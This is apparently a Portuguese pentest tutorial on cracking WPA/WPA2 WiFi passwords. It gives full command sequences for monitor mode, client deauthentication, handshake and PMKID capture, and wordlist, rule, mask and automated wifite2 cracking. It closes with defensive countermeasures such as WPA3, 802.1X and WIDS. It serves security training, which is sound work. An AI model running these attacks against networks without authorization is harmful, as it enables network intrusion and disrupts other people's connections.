Ataques de senhas de redes sem fio

Capturando e quebrando segurança WPA/WPA2

O que você vai descobrir

🎯 Por que isso importa

A avaliação de segurança de redes sem fio representa um componente crítico dos testes de penetração modernos. Organizações implantam redes WiFi em todas as suas instalações, frequentemente sem entender completamente as implicações de segurança. A criptografia WPA2 e WPA3 fornece proteção criptográfica forte, mas senhas fracas permanecem a vulnerabilidade fundamental que permite acesso não autorizado à rede. Profissionais de segurança precisam de habilidades de quebra de senhas sem fio para avaliar a postura de segurança real de implantações WiFi, identificar autenticação fraca e demonstrar a viabilidade de ataques antes que atores maliciosos explorem essas fraquezas para obter acesso à rede, interceptar tráfego ou pivotar para sistemas internos.

🔍 O que você vai aprender

Você dominará ferramentas profissionais de quebra de senhas sem fio incluindo aircrack-ng, hashcat, hcxdumptool e wifite2, entenderá a captura e quebra do handshake 4-way WPA/WPA2, aprenderá técnicas modernas de ataque PMKID que contornam requisitos de autenticação de cliente, e desenvolverá habilidades em reconhecimento sem fio, captura de pacotes e recuperação de senhas. Essas técnicas são essenciais para testes de penetração sem fio, avaliações de segurança de implantações WiFi corporativas e compreensão da superfície de ataque que redes sem fio apresentam tanto para ameaças internas quanto externas.

🚀 Sua primeira vitória

Nos próximos 20 minutos, você entenderá como a captura de handshake WPA2 funciona, aprenderá a extrair hashes de autenticação de redes sem fio e saberá exatamente como profissionais de segurança quebram senhas WiFi durante testes de penetração.

🔧 Experimente agora

Vamos explorar o reconhecimento de rede sem fio para entender o fluxo de trabalho de ataque (requer adaptador WiFi com suporte a modo monitor):

# Instalar a suíte aircrack-ng (contém ferramentas sem fio)
# Ubuntu/Debian
sudo apt update && sudo apt install aircrack-ng

# Kali Linux (pré-instalado)
# Já inclui aircrack-ng, airmon-ng, airodump-ng

# macOS requer adaptador WiFi específico - o integrado não funciona
# Recomendado: Alfa AWUS036ACH ou adaptador similar compatível com modo monitor

# Verificar sua interface sem fio
iwconfig
# Procurar: wlan0, wlp2s0, ou similar

# Ativar modo monitor no seu adaptador sem fio
sudo airmon-ng start wlan0
# Isso cria a interface mon0 ou wlan0mon

# Escanear redes sem fio próximas
sudo airodump-ng wlan0mon

# Você verá:
# - BSSID (endereço MAC do AP)
# - PWR (força do sinal)
# - Beacons (anúncios do AP)
# - CH (canal)
# - ENC (tipo de criptografia: WPA, WPA2, WPA3)
# - ESSID (nome da rede)

# Parar modo monitor quando terminar
sudo airmon-ng stop wlan0mon

# NOTA: Realize estas técnicas apenas em redes que você possui
# ou tem permissão escrita explícita para testar.
# Acesso não autorizado a redes sem fio viola leis de fraude computacional.

Você verá: Todas as redes sem fio ao alcance com suas configurações de segurança. Esta fase de reconhecimento identifica redes WPA2 (o alvo principal), força do sinal (proximidade) e número de clientes conectados (para captura de handshake). Entender este fluxo de trabalho prepara você para avaliações de segurança sem fio profissionais.

Habilidades que você dominará

Entendendo a segurança sem fio

WPA2 (Wi-Fi Protected Access 2) implementa proteção criptográfica robusta usando criptografia AES-CCMP e derivação de chave segura através do handshake 4-way. Quando um cliente se conecta a uma rede WPA2, o ponto de acesso e o cliente realizam uma troca de autenticação mútua que gera chaves de sessão únicas derivadas da chave pré-compartilhada (PSK) - a senha WiFi. Esta troca de handshake contém material criptográfico que permite ataques de quebra de senha offline. Profissionais de segurança capturam esses handshakes e usam ferramentas especializadas para testar a força da senha sem requerer acesso contínuo à rede.

A especificação do protocolo de segurança WPA2 descreve o processo de autenticação em detalhes, mas a vulnerabilidade fundamental permanece a força da senha. A implementação criptográfica é sólida - AES-256 fornece criptografia robusta e PBKDF2 com 4.096 iterações cria a chave mestra de pares (PMK). Porém, senhas fracas permitem quebra bem-sucedida independentemente da força da criptografia. Uma senha de 8 caracteres usando letras minúsculas e números pode ser quebrada em horas, enquanto uma senha de 12+ caracteres com alta entropia resiste às capacidades de quebra atuais.

Ataques PMKID modernos representam uma evolução na metodologia de quebra de senhas sem fio. Descoberto em 2018 por Jens Steube (criador do hashcat), o ataque PMKID explora uma falha de design no elemento de informação de rede de segurança robusta WPA2 (RSN IE). O ponto de acesso inclui o PMKID no primeiro frame do handshake 4-way, calculado como HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA). Este único frame contém informação suficiente para realizar ataques de senha offline sem requerer um handshake completo ou presença de cliente. Ferramentas como hcxdumptool podem extrair PMKIDs diretamente dos pontos de acesso, simplificando dramaticamente o fluxo de trabalho de ataque e eliminando a necessidade de ataques de desautenticação de clientes.

Ferramentas e técnicas

🔨 Suíte aircrack-ng: captura tradicional de handshake

A suíte aircrack-ng representa o padrão da indústria para avaliação de segurança sem fio, fornecendo ferramentas abrangentes para habilitação de modo monitor, captura de pacotes, análise de handshake e quebra de senhas. Esta suíte inclui airmon-ng (modo monitor), airodump-ng (captura de pacotes), aireplay-ng (desautenticação) e aircrack-ng (quebra de senhas).

# Ativar modo monitor
sudo airmon-ng start wlan0
# Cria interface wlan0mon

# Escanear rede alvo
sudo airodump-ng wlan0mon

# Capturar handshake em canal específico
# Substituir: BSSID por MAC do AP, CH por canal, ESSID por nome da rede
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Em outro terminal: Forçar deauth do cliente para capturar handshake
# Isso força o cliente a reconectar e transmitir o handshake
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Observar saída do airodump-ng para: "WPA handshake: AA:BB:CC:DD:EE:FF"
# Isso confirma captura bem-sucedida

# Quebrar o handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# Resultado mostra senha se encontrada na wordlist
# Exemplo de saída: "KEY FOUND! [ password123 ]"

A abordagem aircrack-ng requer capturar um handshake 4-way completo, o que necessita presença de cliente e atividade de conexão. O ataque de desautenticação desconecta forçadamente os clientes, causando reconexão e transmissão do handshake. Embora eficaz, esta abordagem gera disrupção de rede perceptível e pode acionar monitoramento de segurança. O arquivo .cap capturado contém os frames EAPOL com dados de autenticação, que o aircrack-ng usa para verificar tentativas de senha computando o PMK e comparando valores derivados.

⚡ hcxdumptool + hashcat: ataques PMKID modernos

A suíte hcxdumptool e hcxtools permite ataques sem fio modernos baseados em PMKID que eliminam a necessidade de presença de cliente ou desautenticação. Combinada com a aceleração GPU do hashcat, esta abordagem representa o estado da arte atual em quebra de senhas sem fio.

# Instalar hcxdumptool e hcxtools
# Ubuntu/Debian
sudo apt install hcxdumptool hcxtools

# Kali Linux
sudo apt install hcxdumptool hcxtools

# Ativar modo monitor (se não já ativado)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Capturar PMKIDs de APs próximos (nenhum cliente necessário!)
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1

# Executar por 5-10 minutos para capturar PMKIDs de múltiplos APs
# Status mostra: PMKIDs capturados, handshakes capturados, APs detectados

# Converter captura para formato hashcat
hcxpcapngtool -o hashes.hc22000 capture.pcapng

# Examinar hashes capturados
cat hashes.hc22000
# Formato: WPA*02*PMKID*MAC_AP*MAC_CLIENT*ESSID

# Quebrar com hashcat (modo 22000 para WPA-PMKID-PBKDF2)
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt

# Quebra acelerada por GPU
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt -w 3

# Ataque baseado em regras para mutações de senha
hashcat -m 22000 -a 0 hashes.hc22000 rockyou.txt -r rules/best64.rule

# Ataque por máscara para padrões conhecidos
hashcat -m 22000 -a 3 hashes.hc22000 '?u?l?l?l?l?l?l?d?d'

O ataque PMKID funciona porque pontos de acesso incluem este valor no RSN IE do primeiro frame EAPOL. A divulgação original do ataque PMKID pelo hashcat demonstrou que este único frame fornece tudo necessário para ataques de senha offline. Diferente da captura de handshake tradicional, ataques PMKID não requerem desautenticação de cliente, tornando-os mais furtivos e confiáveis. Porém, nem todos os pontos de acesso são vulneráveis - alguns fabricantes implementaram mitigações que previnem extração de PMKID.

🚀 wifite2: ataques sem fio automatizados

Wifite2 fornece auditoria de rede sem fio totalmente automatizada, combinando reconhecimento, captura de handshake, extração PMKID e quebra de senhas em um fluxo de trabalho simplificado. Esta ferramenta é ideal para avaliação rápida de múltiplas redes sem fio.

# Instalar wifite2
# Ubuntu/Debian
sudo apt install wifite

# Kali Linux (pré-instalado)
wifite --help

# Executar ataque automatizado (gerencia tudo automaticamente)
sudo wifite

# Wifite vai:
# 1. Ativar modo monitor automaticamente
# 2. Escanear redes sem fio
# 3. Permitir selecionar alvo(s)
# 4. Tentar captura PMKID primeiro (rápido, furtivo)
# 5. Recorrer à captura de handshake se necessário
# 6. Quebrar senhas automaticamente

# Alvejar rede específica por ESSID
sudo wifite --essid "TargetNetwork"

# Alvejar redes por tipo de criptografia
sudo wifite --wpa

# Usar wordlist personalizada
sudo wifite --dict /path/to/wordlist.txt

# Pular quebra, apenas capturar handshakes
sudo wifite --no-crack

# Atacar WPS (se habilitado no AP)
sudo wifite --wps

# Saída verbosa para debugging
sudo wifite --verbose

Wifite2 gerencia a complexidade de ataques sem fio automaticamente, tornando-o acessível para avaliadores de segurança que precisam de resultados rápidos. A ferramenta integra com aircrack-ng, reaver (ataques WPS), bully e outros utilitários para fornecer cobertura de ataque abrangente. Ela detecta automaticamente o melhor método de ataque para cada alvo e gerencia recuperação de erros. Embora conveniente, entender as técnicas subjacentes permanece importante para troubleshooting e cenários avançados.

🎯 Técnicas avançadas e otimização

Avaliações sem fio profissionais requerem entendimento de técnicas de captura avançadas, otimização de ataques e métodos de troubleshooting para cenários desafiadores.

# Verificar qualidade do handshake antes de quebrar
# Handshakes incompletos desperdiçam tempo de quebra
aircrack-ng -w test.txt capture-01.cap
# Deve mostrar: "1 handshake" não "0 handshakes"

# Converter .cap para formato hashcat
hcxpcapngtool -o handshake.hc22000 capture-01.cap

# Limpar e otimizar arquivos de captura
# Remover frames duplicados e tráfego não-WPA
wpaclean cleaned.cap dirty.cap

# Desautenticação direcionada (cliente específico)
aireplay-ng --deauth 5 -a AP_MAC -c CLIENT_MAC wlan0mon

# Monitoramento contínuo para múltiplos handshakes
# Útil em ambientes movimentados com muitos clientes
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w multi-capture wlan0mon

# Otimização hashcat para quebra sem fio
# Usar --force se receber erros OpenCL
hashcat -m 22000 hashes.hc22000 rockyou.txt --force

# Status durante quebra (pressionar 's')
# Mostra velocidade, progresso, tempo estimado

# Ataques de combinação para WiFi corporativo
# Combinar nome da empresa com padrões comuns
hashcat -m 22000 -a 1 hashes.hc22000 company.txt patterns.txt

# Troubleshooting: Verificar se handshake é válido
tshark -r capture-01.cap -Y eapol
# Deve mostrar 4 frames EAPOL (ou mínimo 2)

Verificação de qualidade do handshake previne tempo desperdiçado em capturas inválidas. Um handshake 4-way completo contém quatro frames EAPOL, mas apenas frames 2 e 3 (ou às vezes 1 e 2) são necessários para quebra de senha. Converter capturas para formato hashcat permite aceleração GPU, fornecendo melhorias de velocidade de 100-1000x sobre aircrack-ng baseado em CPU. Para redes sem fio corporativas, wordlists personalizadas incorporando termos específicos da empresa aumentam dramaticamente as taxas de sucesso.

Contramedidas defensivas

🛡️ Políticas de senhas WiFi fortes

A segurança de redes sem fio depende fundamentalmente da força da senha. Organizações devem implementar e impor políticas de senhas WiFi robustas que contabilizem capacidades de quebra offline. O framework de cibersegurança NIST recomenda requisitos específicos de senha para redes sem fio que assumem que atacantes capturarão handshakes e tentarão quebra offline.

• Senhas de mínimo 20 caracteres: Frases de passe longas resistem efetivamente a ataques de força bruta
• Requisitos de alta entropia: Misturar maiúsculas, minúsculas, números, símbolos - evitar palavras de dicionário
• Rotação regular de senhas: Mudar senhas WiFi trimestralmente ou após saídas de funcionários
• Senhas únicas por SSID: Senhas diferentes para redes de convidados, funcionários e gerenciamento

🔐 Migração WPA3 e autenticação enterprise

WPA3 corrige vulnerabilidades fundamentais no handshake 4-way do WPA2 através da autenticação simultânea de iguais (SAE), que fornece sigilo futuro e resistência a ataques de dicionário offline. Para ambientes corporativos, WPA2/WPA3-Enterprise com autenticação 802.1X elimina vulnerabilidades PSK inteiramente.

• Implantação WPA3: Atualizar para pontos de acesso compatíveis com WPA3 e impor modo apenas WPA3
• Modo de transição WPA2/WPA3: Suportar ambos durante período de migração, então desabilitar WPA2
• Autenticação 802.1X/RADIUS: Credenciais de usuário individuais em vez de senhas compartilhadas
• Autenticação baseada em certificados: EAP-TLS com certificados de cliente para maior segurança

⚡ Detecção e prevenção de intrusão sem fio

Infraestrutura sem fio corporativa deve incluir sistemas de detecção de intrusão sem fio (WIDS) e sistemas de prevenção de intrusão sem fio (WIPS) que detectam e respondem a atividade de ataque incluindo tentativas de captura de handshake, ataques de desautenticação e pontos de acesso não autorizados.

• Detecção de ataque de desautenticação: Monitorar frames deauth excessivos e bloquear dispositivos atacantes
• Detecção de AP não autorizado: Identificar pontos de acesso não autorizados usando SSIDs da empresa
• Isolamento de clientes: Prevenir clientes de comunicar diretamente (impede movimento lateral)
• Proteção de frames de gerenciamento (802.11w): Proteger criptograficamente frames de desautenticação

🔍 Segmentação e monitoramento de rede

Redes sem fio devem ser tratadas como não confiáveis e segregadas de recursos internos críticos através de segmentação de rede, VLANs e políticas de firewall que assumem comprometimento do sem fio.

• Segmentação VLAN: Separar redes sem fio da infraestrutura cabeada
• Políticas de firewall: Restringir acesso de rede sem fio apenas à internet, bloquear recursos internos
• Isolamento de rede de convidados: Separação completa com limitação de banda e filtragem de conteúdo
• Monitoramento e logging: Logging abrangente de tentativas de autenticação e acesso à rede

FAQ

Básico de quebra de senhas sem fio

Implementação técnica

Aplicações práticas

🎯 Você domina a quebra de senhas sem fio!

Você agora entende mecanismos de autenticação WPA/WPA2, pode capturar handshakes 4-way e PMKIDs, e sabe como quebrar senhas sem fio usando ferramentas profissionais como aircrack-ng, hashcat e hcxdumptool. Essas habilidades são essenciais para testes de penetração sem fio, avaliações de segurança de implantações WiFi corporativas e compreensão da superfície de ataque que redes sem fio apresentam tanto para ameaças internas quanto externas.

Pronto para explorar técnicas de recuperação de senhas de sistema Windows